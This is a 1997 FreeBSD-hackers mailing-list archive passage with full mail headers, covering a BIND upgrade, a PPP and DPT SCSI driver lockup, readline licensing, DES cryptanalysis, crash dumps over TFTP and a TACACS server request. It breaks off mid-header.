22:11:03 1997 Message-ID: <33AEF42D.794BDF32@whistle.com> Date: Mon, 23 Jun 1997 15:09:49 -0700 From: Julian Elischer Organization: Whistle Communications X-Mailer: Mozilla 3.0Gold (X11; I; FreeBSD 2.2-CURRENT i386) MIME-Version: 1.0 To: peter@freebsd.org CC: hackers@freebsd.org Subject: bind 4.8.5p1 and 2.2 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Is there a reason for me to not bring 4.8.5p1 doun into 2.2? it's been 6 months now. julian From owner-freebsd-hackers Mon Jun 23 15:36:37 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id PAA05131 for hackers-outgoing; Mon, 23 Jun 1997 15:36:37 -0700 (PDT) Received: from alpha.xerox.com (alpha.Xerox.COM [13.1.64.93]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id PAA05114; Mon, 23 Jun 1997 15:36:33 -0700 (PDT) Received: from crevenia.parc.xerox.com ([13.2.116.11]) by alpha.xerox.com with SMTP id <15040(5)>; Mon, 23 Jun 1997 15:35:50 PDT Received: by crevenia.parc.xerox.com id <177512>; Mon, 23 Jun 1997 15:35:39 -0700 From: Bill Fenner To: imp@village.org, jfieber@indiana.edu Subject: Re: Does FTP mangle ^H? (was Re: Handbook - ascii form??) Cc: andrsn@andrsn.stanford.edu, brian@awfulhak.org, chuckr@glue.umd.edu, freebsd-doc@freebsd.org, freebsd-hackers@freebsd.org, freebsd-questions@freebsd.org, jkh@time.cdrom.com, kleon@bellsouth.net Message-Id: <97Jun23.153539pdt.177512@crevenia.parc.xerox.com> Date: Mon, 23 Jun 1997 15:35:36 PDT Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk >Can someone point to some *specific* ftp >clients that strip the ^H in ASCII mode? Well, netscrape displays the document as if it didn't have ^H's, but keeps the ^H's if you save it. Bill From owner-freebsd-hackers Mon Jun 23 16:33:49 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id QAA07922 for hackers-outgoing; Mon, 23 Jun 1997 16:33:49 -0700 (PDT) Received: from DNS.Lamb.net (root@DNS.Lamb.net [207.90.181.1]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id QAA07905; Mon, 23 Jun 1997 16:33:08 -0700 (PDT) Received: from Gatekeeper.Alameda.net (ulf@gatekeeper.Alameda.net [207.90.181.2]) by DNS.Lamb.net (8.8.5/8.8.5) with ESMTP id QAA07869; Mon, 23 Jun 1997 16:33:09 -0700 (PDT) Received: (from ulf@localhost) by Gatekeeper.Alameda.net (8.8.5/8.7.6) id QAA18273; Mon, 23 Jun 1997 16:33:02 -0700 (PDT) From: Ulf Zimmermann Message-Id: <199706232333.QAA18273@Gatekeeper.Alameda.net> Subject: Re: bind 4.8.5p1 and 2.2 In-Reply-To: <33AEF42D.794BDF32@whistle.com> from Julian Elischer at "Jun 23, 97 03:09:49 pm" To: julian@whistle.com (Julian Elischer) Date: Mon, 23 Jun 1997 16:33:02 -0700 (PDT) Cc: peter@FreeBSD.ORG, hackers@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL31 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > Is there a reason for me to not bring 4.8.5p1 doun into 2.2? > it's been 6 months now. > > > julian > I hope you mean 4.9.5p1 and there is a 4.9.6 due in the next days. Ulf. -------------------------------------------------------------------------- Ulf Zimmermann, 1525 Pacific Ave., Alameda, CA-94501, #: 510-769-2936 Alameda Networks, Inc. | http://www.Alameda.net | Fax#: 510-521-5073 From owner-freebsd-hackers Mon Jun 23 17:40:57 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id RAA10801 for hackers-outgoing; Mon, 23 Jun 1997 17:40:57 -0700 (PDT) Received: from alpo.whistle.com (alpo.whistle.com [207.76.204.38]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id RAA10793; Mon, 23 Jun 1997 17:40:24 -0700 (PDT) Received: (from daemon@localhost) by alpo.whistle.com (8.8.5/8.8.5) id RAA00268; Mon, 23 Jun 1997 17:34:27 -0700 (PDT) Received: from current1.whistle.com(207.76.205.22) via SMTP by alpo.whistle.com, id smtpd000265; Tue Jun 24 00:34:18 1997 Message-ID: <33AF15C0.59E2B600@whistle.com> Date: Mon, 23 Jun 1997 17:33:04 -0700 From: Julian Elischer Organization: Whistle Communications X-Mailer: Mozilla 3.0Gold (X11; I; FreeBSD 2.2-CURRENT i386) MIME-Version: 1.0 To: Ulf Zimmermann CC: peter@FreeBSD.ORG, hackers@FreeBSD.ORG Subject: Re: bind 4.8.5p1 and 2.2 References: <199706232333.QAA18273@Gatekeeper.Alameda.net> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Ulf Zimmermann wrote: > > > Is there a reason for me to not bring 4.8.5p1 doun into 2.2? > > it's been 6 months now. > > > > > > julian > > > > I hope you mean 4.9.5p1 and there is a 4.9.6 due in the next days. > > Ulf. yep sorry I meant 4.9.5p1 peter put it in current in december but we'd like it in our 2.2 based product good news on 4.9.6. I was looking for it but that explains why I couldn't find it :) J From owner-freebsd-hackers Mon Jun 23 18:26:26 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id SAA12493 for hackers-outgoing; Mon, 23 Jun 1997 18:26:26 -0700 (PDT) Received: from misery.sdf.com (misery.sdf.com [204.244.210.193]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id SAA12486; Mon, 23 Jun 1997 18:26:02 -0700 (PDT) Received: from tom by misery.sdf.com with smtp (Exim 1.62 #1) id 0wgKJj-00072V-00; Mon, 23 Jun 1997 18:22:47 -0700 Date: Mon, 23 Jun 1997 18:22:46 -0700 (PDT) From: Tom Samplonius To: Julian Elischer cc: peter@freebsd.org, hackers@freebsd.org Subject: Re: bind 4.8.5p1 and 2.2 In-Reply-To: <33AEF42D.794BDF32@whistle.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk On Mon, 23 Jun 1997, Julian Elischer wrote: > Is there a reason for me to not bring 4.8.5p1 doun into 2.2? > it's been 6 months now. > > > julian > > Except for the release of 4.9.6 will happen soon, and it should go into 2.2 ASAP, because it fixes some phony injection problems. Tom From owner-freebsd-hackers Mon Jun 23 18:51:18 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id SAA13538 for hackers-outgoing; Mon, 23 Jun 1997 18:51:18 -0700 (PDT) Received: from sendero-ppp.i-connect.net (sendero-ppp.i-Connect.Net [206.190.143.100]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id SAA13528 for ; Mon, 23 Jun 1997 18:51:14 -0700 (PDT) Received: (qmail 12661 invoked by uid 1000); 24 Jun 1997 01:51:21 -0000 Message-ID: X-Mailer: XFMail 1.2-alpha [p0] on FreeBSD Content-Type: text/plain; charset=iso-8859-8 Content-Transfer-Encoding: 8bit MIME-Version: 1.0 In-Reply-To: <199706232034.OAA22485@pluto.plutotech.com> Date: Mon, 23 Jun 1997 18:51:21 -0700 (PDT) Organization: Atlas Telecom From: Simon Shapiro To: "Justin T. Gibbs" Subject: Re: I/O Errors with PPP Cc: FreeBSd-Hackers@FreeBSD.ORG Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Hi "Justin T. Gibbs"; On 23-Jun-97 you wrote: > >Hi Y'all, > > > >This is a continuation of a problem we encounter when running the new > DPT > >SCSI driver on a Pentium Pro machine. > > What is the wait channel that the processes are sleeping on? ps -l will > give you this information if the machine is still running, and ps from > DDB will also give it to you. > > -- > Justin T. Gibbs > =========================================== > FreeBSD: Turning PCs into workstations > =========================================== > > From owner-freebsd-hackers Mon Jun 23 18:51:19 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id SAA13540 for hackers-outgoing; Mon, 23 Jun 1997 18:51:19 -0700 (PDT) Received: from sendero-ppp.i-connect.net (sendero-ppp.i-Connect.Net [206.190.143.100]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id SAA13529 for ; Mon, 23 Jun 1997 18:51:14 -0700 (PDT) Received: (qmail 12667 invoked by uid 1000); 24 Jun 1997 01:51:21 -0000 Message-ID: X-Mailer: XFMail 1.2-alpha [p0] on FreeBSD Content-Type: text/plain; charset=iso-8859-8 Content-Transfer-Encoding: 8bit MIME-Version: 1.0 In-Reply-To: <33AEE903.2781E494@whistle.com> Date: Mon, 23 Jun 1997 18:51:21 -0700 (PDT) Organization: Atlas Telecom From: Simon Shapiro To: Julian Elischer Subject: Re: I/O Errors with PPP Cc: FreeBSd-Hackers@FreeBSD.ORG Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Hi Julian Elischer; On 23-Jun-97 you wrote: > Simon Shapiro wrote: > > > > Hi Y'all, > > > > This is a continuation of a problem we encounter when running the new > DPT > > SCSI driver on a Pentium Pro machine. > > > > To make long stories short, here is what we did: > > > > * Setup kernel PPP session to our favorite ISP. We tried, V34, 64K > ISDN > > and 128Kb ISDN. Same result. > > > > y'know one of the effects of running ppp is to OR together the interrupt > masks for splimp() and spltty() > so that they effectively are the same mask. > I'm not sure if this is done at boot time or when ppp is started, > but it might be worth checking out. > > (not that you are running at splimp or spltty, but there might > be some side-effect that I'm not aware of) I am pretty sure it is some sort of a deadlock that happens while in critical section. The system loses all interrupt handling, which indicats a high level lock. Somehow we are introducing a race condition. But how? Simon From owner-freebsd-hackers Mon Jun 23 18:51:26 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id SAA13581 for hackers-outgoing; Mon, 23 Jun 1997 18:51:26 -0700 (PDT) Received: from sendero-ppp.i-connect.net (sendero-ppp.i-Connect.Net [206.190.143.100]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id SAA13570 for ; Mon, 23 Jun 1997 18:51:23 -0700 (PDT) Received: (qmail 12665 invoked by uid 1000); 24 Jun 1997 01:51:21 -0000 Message-ID: X-Mailer: XFMail 1.2-alpha [p0] on FreeBSD Content-Type: text/plain; charset=iso-8859-8 Content-Transfer-Encoding: 8bit MIME-Version: 1.0 In-Reply-To: <199706232034.OAA22485@pluto.plutotech.com> Date: Mon, 23 Jun 1997 18:51:21 -0700 (PDT) Organization: Atlas Telecom From: Simon Shapiro To: "Justin T. Gibbs" Subject: Re: I/O Errors with PPP Cc: FreeBSd-Hackers@FreeBSD.ORG Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Hi "Justin T. Gibbs"; On 23-Jun-97 you wrote: > >Hi Y'all, > > > >This is a continuation of a problem we encounter when running the new > DPT > >SCSI driver on a Pentium Pro machine. > > What is the wait channel that the processes are sleeping on? ps -l will > give you this information if the machine is still running, and ps from > DDB will also give it to you. The machine either freezes solid or any process (like ps) will hang indefinitely. Simon From owner-freebsd-hackers Mon Jun 23 19:01:08 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id TAA14107 for hackers-outgoing; Mon, 23 Jun 1997 19:01:08 -0700 (PDT) Received: from awfulhak.demon.co.uk (awfulhak.demon.co.uk [158.152.17.1]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id TAA14096 for ; Mon, 23 Jun 1997 19:01:01 -0700 (PDT) Received: from awfulhak.demon.co.uk (localhost [127.0.0.1]) by awfulhak.demon.co.uk (8.8.5/8.8.5) with ESMTP id BAA15241; Tue, 24 Jun 1997 01:29:13 +0100 (BST) Message-Id: <199706240029.BAA15241@awfulhak.demon.co.uk> X-Mailer: exmh version 1.6.9 8/22/96 To: Julian Elischer cc: Simon Shapiro , FreeBSd-Hackers@FreeBSD.ORG Subject: Re: I/O Errors with PPP In-reply-to: Your message of "Mon, 23 Jun 1997 14:22:11 PDT." <33AEE903.2781E494@whistle.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Tue, 24 Jun 1997 01:29:13 +0100 From: Brian Somers Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > Simon Shapiro wrote: > > > > Hi Y'all, > > > > This is a continuation of a problem we encounter when running the new DPT > > SCSI driver on a Pentium Pro machine. > > > > To make long stories short, here is what we did: > > > > * Setup kernel PPP session to our favorite ISP. We tried, V34, 64K ISDN > > and 128Kb ISDN. Same result. > > > > y'know one of the effects of running ppp is to OR together the interrupt > masks for splimp() and spltty() > so that they effectively are the same mask. > I'm not sure if this is done at boot time or when ppp is started, > but it might be worth checking out. > > (not that you are running at splimp or spltty, but there might > be some side-effect that I'm not aware of) > > julian This is done from pppattach() at boot time *unless* you're modloading the stuff. -- Brian , Don't _EVER_ lose your sense of humour.... From owner-freebsd-hackers Mon Jun 23 19:24:14 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id TAA14980 for hackers-outgoing; Mon, 23 Jun 1997 19:24:14 -0700 (PDT) Received: from genesis.atrad.adelaide.edu.au (genesis.atrad.adelaide.edu.au [129.127.96.120]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id TAA14975 for ; Mon, 23 Jun 1997 19:24:10 -0700 (PDT) Received: (from msmith@localhost) by genesis.atrad.adelaide.edu.au (8.8.5/8.7.3) id LAA21798; Tue, 24 Jun 1997 11:52:06 +0930 (CST) From: Michael Smith Message-Id: <199706240222.LAA21798@genesis.atrad.adelaide.edu.au> Subject: Re: use of readline() In-Reply-To: <199706231337.XAA11174@godzilla.zeta.org.au> from Bruce Evans at "Jun 23, 97 11:37:05 pm" To: bde@zeta.org.au (Bruce Evans) Date: Tue, 24 Jun 1997 11:52:05 +0930 (CST) Cc: gclarkii@main.gbdata.com, jkh@time.cdrom.com, hackers@FreeBSD.ORG, msmith@atrad.adelaide.edu.au X-Mailer: ELM [version 2.4ME+ PL28 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Bruce Evans stands accused of saying: > >> I belive that readline is the GNU version correct? > >> Would this not make all of these programs fall under the GNU Copyleft? > > > >No. Go read the LGPL. > > Go read the copyright that is actually attached to libreadline. Oh puke; it _is_ under GPL2. I'm sold folks; libedit it is 8) > Bruce -- ]] Mike Smith, Software Engineer msmith@gsoft.com.au [[ ]] Genesis Software genesis@gsoft.com.au [[ ]] High-speed data acquisition and (GSM mobile) 0411-222-496 [[ ]] realtime instrument control. (ph) +61-8-8267-3493 [[ ]] Unix hardware collector. "Where are your PEZ?" The Tick [[ From owner-freebsd-hackers Mon Jun 23 19:37:32 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id TAA15687 for hackers-outgoing; Mon, 23 Jun 1997 19:37:32 -0700 (PDT) Received: from kaori.communique.net (kaori.Communique.Net [204.27.65.55]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id TAA15682 for ; Mon, 23 Jun 1997 19:37:30 -0700 (PDT) Received: by kaori.Communique.Net with Internet Mail Service (5.0.1457.3) id ; Mon, 23 Jun 1997 21:36:37 -0500 Message-ID: From: Raul Zighelboim To: "'freebsd-hackers@freefall.freebsd.org'" Subject: core dump and tftp ... Date: Mon, 23 Jun 1997 21:36:34 -0500 X-Priority: 3 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.0.1457.3) Content-Type: text/plain Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Hello there! Is there a way to get FreeBSD to send core dumps _in the event of a crash_ to a tftp server instead than to the swap file ? Thanks. From owner-freebsd-hackers Mon Jun 23 19:37:43 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id TAA15726 for hackers-outgoing; Mon, 23 Jun 1997 19:37:43 -0700 (PDT) Received: from cypher.net (black@zen.pratt.edu [205.232.115.155]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id TAA15695 for ; Mon, 23 Jun 1997 19:37:33 -0700 (PDT) Received: (from black@localhost) by cypher.net (8.8.5/8.7.1) id WAA03687; Mon, 23 Jun 1997 22:38:07 -0400 Date: Mon, 23 Jun 1997 22:38:03 -0400 (EDT) From: Ben Black To: Ollivier Robert cc: hackers@FreeBSD.ORG Subject: Re: RSA5 Encryption Cracked.. In-Reply-To: <19970623204723.39016@keltia.freenix.fr> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk "very immune"? it isn't immune, it is resistant. yes, NSA was aware of differential cryptanalysis when the cipher was designed, but they couldn't eliminate the problem, just reduce it. and that's what they did. as for NIST writing the paper, they are. after all, they are the standards arm of the government. but the algorithm is from NSA. On Mon, 23 Jun 1997, Ollivier Robert wrote: > According to Ben Black: > > i think you mean differential cryptanalysis which under certain > > circumstances can reduce the effective keyspace. it is not broadly > > applicable and is rather constrained. 3DES (triple DES) will be an > > actual gov't standard shortly. > > Anyway, DES is very immune to differential analysis. When it was designed, > many people thought the NSA was installing a back door when they made IBM > change the design of the S-Boxes. With the classic 16-round DES, you need > 2**47 of chosen-plaintext... > > Years after, we learned that the NSA and IBM were aware of differential > analysis 10 years before it was "discovered" by Shamir and > that why DES was modified. > > All in one, DES is a very good cipher. Showing its age now but still good. > > > NSA is also releasing a new gov't encryption standard (i forget the name, > > starts with A...AES?) > > I don't think it is coming from the NSA. NIST is writing a paper on what > the next government approved cipher should be. I have the URL of the draft > at work. It says it should accept key sizes of 128/128, 192/192 and 256/256 > bits. > > See the discussion in sci.crypt. > -- > Ollivier ROBERT -=- FreeBSD: There are no limits -=- roberto@keltia.freenix.fr > FreeBSD keltia.freenix.fr 3.0-CURRENT #20: Fri Jun 13 00:16:13 CEST 1997 > From owner-freebsd-hackers Mon Jun 23 19:38:40 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id TAA15841 for hackers-outgoing; Mon, 23 Jun 1997 19:38:40 -0700 (PDT) Received: from genesis.atrad.adelaide.edu.au (genesis.atrad.adelaide.edu.au [129.127.96.120]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id TAA15824 for ; Mon, 23 Jun 1997 19:38:30 -0700 (PDT) Received: (from msmith@localhost) by genesis.atrad.adelaide.edu.au (8.8.5/8.7.3) id MAA21926; Tue, 24 Jun 1997 12:07:37 +0930 (CST) From: Michael Smith Message-Id: <199706240237.MAA21926@genesis.atrad.adelaide.edu.au> Subject: Re: direct access In-Reply-To: <33AEB13C.2781E494@whistle.com> from Julian Elischer at "Jun 23, 97 10:24:12 am" To: julian@whistle.com (Julian Elischer) Date: Tue, 24 Jun 1997 12:07:37 +0930 (CST) Cc: msmith@atrad.adelaide.edu.au, un_x@anchorage.net, joerg_wunsch@uriah.heep.sax.de, hackers@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL28 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Julian Elischer stands accused of saying: > Michael Smith wrote: > > > > One of these mappings arranges pages so that kernel virtual addresses > > in the range 0xa0000-0xfffff refer to physical addresses > > 0xa0000-0xfffff, in order to make life slightly easier for ISA > > drivers. It doesn't apply to user processes, which have their own > > mappings. > > > > > > *GONG* > the kernel maps 0xa0000->0xfffff to 0xf00a000->0xf00fffff So sue me; I use KVTOPHYS()/PHYSTOKV() all the time anyway, as we all should 8) -- ]] Mike Smith, Software Engineer msmith@gsoft.com.au [[ ]] Genesis Software genesis@gsoft.com.au [[ ]] High-speed data acquisition and (GSM mobile) 0411-222-496 [[ ]] realtime instrument control. (ph) +61-8-8267-3493 [[ ]] Unix hardware collector. "Where are your PEZ?" The Tick [[ From owner-freebsd-hackers Mon Jun 23 19:57:20 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id TAA16950 for hackers-outgoing; Mon, 23 Jun 1997 19:57:20 -0700 (PDT) Received: from sendero-ppp.i-connect.net (sendero-ppp.i-Connect.Net [206.190.143.100]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id TAA16943 for ; Mon, 23 Jun 1997 19:57:17 -0700 (PDT) Received: (qmail 374 invoked by uid 1000); 24 Jun 1997 02:57:24 -0000 Message-ID: X-Mailer: XFMail 1.2-alpha [p0] on FreeBSD Content-Type: text/plain; charset=iso-8859-8 Content-Transfer-Encoding: 8bit MIME-Version: 1.0 In-Reply-To: <199706240029.BAA15241@awfulhak.demon.co.uk> Date: Mon, 23 Jun 1997 19:57:24 -0700 (PDT) Organization: Atlas Telecom From: Simon Shapiro To: Brian Somers Subject: Re: I/O Errors with PPP Cc: FreeBSd-Hackers@FreeBSD.ORG, Julian Elischer Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Hi Brian Somers; On 24-Jun-97 you wrote: ... > > (not that you are running at splimp or spltty, but there might > > be some side-effect that I'm not aware of) > > > > julian > > This is done from pppattach() at boot time *unless* you're modloading > the stuff. I am not. Where do we go from here? Suggestions, please. I want the DPT code checked-in. I think it represents a good opportunity for FreeBSD to gain some new and interesting functionality. I have tested the driver rather well and do not know how to test it any harder. On the other hand I do not want buggy code introduced (especially with my name on in :-). I can, for the last week run ANY mix of SCSI loads, with up to 512 concurrent disk readers/writers. This is running for days on end and is as stable or more as other SCSI drivers are, but (by my own admission), there is a way to crash the system while accessing the DPT. Is it a DPT driver/hardware problem? Does not look that way. but... Simon From owner-freebsd-hackers Mon Jun 23 20:40:49 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id UAA19093 for hackers-outgoing; Mon, 23 Jun 1997 20:40:49 -0700 (PDT) Received: from agora.rdrop.com (root@agora.rdrop.com [199.2.210.241]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id UAA19085 for ; Mon, 23 Jun 1997 20:40:43 -0700 (PDT) Received: from genesis.atrad.adelaide.edu.au (genesis.atrad.adelaide.edu.au [129.127.96.120]) by agora.rdrop.com (8.8.5/8.8.5) with ESMTP id UAA10797 for ; Mon, 23 Jun 1997 20:40:29 -0700 (PDT) Received: (from msmith@localhost) by genesis.atrad.adelaide.edu.au (8.8.5/8.7.3) id NAA22177; Tue, 24 Jun 1997 13:08:14 +0930 (CST) From: Michael Smith Message-Id: <199706240338.NAA22177@genesis.atrad.adelaide.edu.au> Subject: Re: core dump and tftp ... In-Reply-To: from Raul Zighelboim at "Jun 23, 97 09:36:34 pm" To: mango@staff.communique.net (Raul Zighelboim) Date: Tue, 24 Jun 1997 13:08:13 +0930 (CST) Cc: freebsd-hackers@freefall.freebsd.org X-Mailer: ELM [version 2.4ME+ PL28 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Raul Zighelboim stands accused of saying: > > Is there a way to get FreeBSD to send core dumps _in the event of a > crash_ to a tftp server instead than to the swap file ? Not without lots of work, no. The workstations that support this manage to do it by having a completely separate TCP stack in their firmware; once the kernel has crashed there's no way that you could expect it to be able to continue functioning. Sorry this isn't the answer you were looking for. -- ]] Mike Smith, Software Engineer msmith@gsoft.com.au [[ ]] Genesis Software genesis@gsoft.com.au [[ ]] High-speed data acquisition and (GSM mobile) 0411-222-496 [[ ]] realtime instrument control. (ph) +61-8-8267-3493 [[ ]] Unix hardware collector. "Where are your PEZ?" The Tick [[ From owner-freebsd-hackers Mon Jun 23 20:55:44 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id UAA19920 for hackers-outgoing; Mon, 23 Jun 1997 20:55:44 -0700 (PDT) Received: from genesis.atrad.adelaide.edu.au (genesis.atrad.adelaide.edu.au [129.127.96.120]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id UAA19902 for ; Mon, 23 Jun 1997 20:55:21 -0700 (PDT) Received: (from msmith@localhost) by genesis.atrad.adelaide.edu.au (8.8.5/8.7.3) id NAA22272; Tue, 24 Jun 1997 13:24:57 +0930 (CST) From: Michael Smith Message-Id: <199706240354.NAA22272@genesis.atrad.adelaide.edu.au> Subject: Re: I/O Errors with PPP In-Reply-To: from Simon Shapiro at "Jun 23, 97 07:57:24 pm" To: Shimon@i-Connect.Net (Simon Shapiro) Date: Tue, 24 Jun 1997 13:24:57 +0930 (CST) Cc: brian@awfulhak.org, FreeBSd-Hackers@FreeBSD.ORG, julian@whistle.com X-Mailer: ELM [version 2.4ME+ PL28 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Simon Shapiro stands accused of saying: > > I am not. Where do we go from here? Suggestions, please. I want > the DPT code checked-in. I think it represents a good opportunity > for FreeBSD to gain some new and interesting functionality. I have > tested the driver rather well and do not know how to test it any > harder. On the other hand I do not want buggy code introduced > (especially with my name on in :-). You say that _no_ interrupts are taken when you hit your lockup, correct? I take it that you've done the bleeding obvious (poked NumLock, etc). Have you tried forcing an NMI? You should be able to do it with a paperclip between the two pins at the very outside end of an ISA bus slot. Many systems will generate an NMI on this (although some will defer it until the end of a busmaster DMA cycle). This _should_ drop you into the debugger, and you should be able to work out where you are from the stack trace at that point. -- ]] Mike Smith, Software Engineer msmith@gsoft.com.au [[ ]] Genesis Software genesis@gsoft.com.au [[ ]] High-speed data acquisition and (GSM mobile) 0411-222-496 [[ ]] realtime instrument control. (ph) +61-8-8267-3493 [[ ]] Unix hardware collector. "Where are your PEZ?" The Tick [[ From owner-freebsd-hackers Mon Jun 23 21:07:32 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id VAA20585 for hackers-outgoing; Mon, 23 Jun 1997 21:07:32 -0700 (PDT) Received: from pluto.plutotech.com (root@pluto100.plutotech.com [206.168.67.137]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id VAA20579 for ; Mon, 23 Jun 1997 21:07:26 -0700 (PDT) Received: from narnia.plutotech.com (narnia.plutotech.com [206.168.67.130]) by pluto.plutotech.com (8.8.5/8.8.5) with ESMTP id WAA00305; Mon, 23 Jun 1997 22:07:16 -0600 (MDT) Message-Id: <199706240407.WAA00305@pluto.plutotech.com> To: Simon Shapiro cc: "Justin T. Gibbs" , FreeBSd-Hackers@FreeBSD.ORG Subject: Re: I/O Errors with PPP In-reply-to: Your message of "Mon, 23 Jun 1997 18:51:21 PDT." Date: Mon, 23 Jun 1997 23:06:14 -0600 From: "Justin T. Gibbs" Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk >The machine either freezes solid or any process (like ps) will hang >indefinitely. > >Simon Than drop into DDB and do a ps from there. -- Justin T. Gibbs =========================================== FreeBSD: Turning PCs into workstations =========================================== From owner-freebsd-hackers Mon Jun 23 21:41:27 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id VAA21879 for hackers-outgoing; Mon, 23 Jun 1997 21:41:27 -0700 (PDT) Received: from medellin.impsat.net.co (host.200.31.16.2.impsat.net [200.31.16.2]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id VAA21846 for ; Mon, 23 Jun 1997 21:40:56 -0700 (PDT) Message-Id: <199706240440.VAA21846@hub.freebsd.org> Received: from KISHIKAWA [200.31.16.52] (HELO Kishikawa.paneldecontrol.com.co) by medellin.impsat.net.co (AltaVista Mail V2.0/2.0 BL23 listener) id 0000_0065_33af_6d7f_994c; Mon, 23 Jun 1997 23:47:27 -0700 X-Mailer: Microsoft Outlook Express 4.71.0541.0 From: "Panel de Control" To: Subject: RV: I find a server of Xtacacs for FreeBSD. Date: Mon, 23 Jun 1997 23:43:43 -0500 X-Priority: 3 X-MSMail-Priority: Normal MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 8bit X-MimeOLE: Produced By Microsoft MimeOLE Engine V4.71.0541.0 Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk ---- De: Panel de Control Para: questions@freebsd.org Fecha: Domingo, Junio 22, 1997 02:09 PM Asunto: I find a server of Xtacacs for FreeBSD. >Dear Sirs >, I find a server for FreeBSD of Xtacacs or Tacacs+, I need use the user >database to validate a remote access, I work with the Cisco 2511, IOS 10.3. > > >Thanks for your help. >Bye! >=============================================================================== = > >Panel de Control >Tel: (+574) 5138734 >Fax: (+574) 3327973 >Cel: 5014298 >A.A. 57619 Medellín, Antioquia >Colombia, Sur América > From owner-freebsd-hackers Mon Jun 23 23:00:16 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id XAA25164 for hackers-outgoing; Mon, 23 Jun 1997 23:00:16 -0700 (PDT) Received: from alpo.whistle.com (alpo.whistle.com [207.76.204.38]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id XAA25159 for ; Mon, 23 Jun 1997 23:00:13 -0700 (PDT) Received: (from daemon@localhost) by alpo.whistle.com (8.8.5/8.8.5) id WAA06764 for ; Mon, 23 Jun 1997 22:50:34 -0700 (PDT) Received: from current1.whistle.com(207.76.205.22) via SMTP by alpo.whistle.com, id 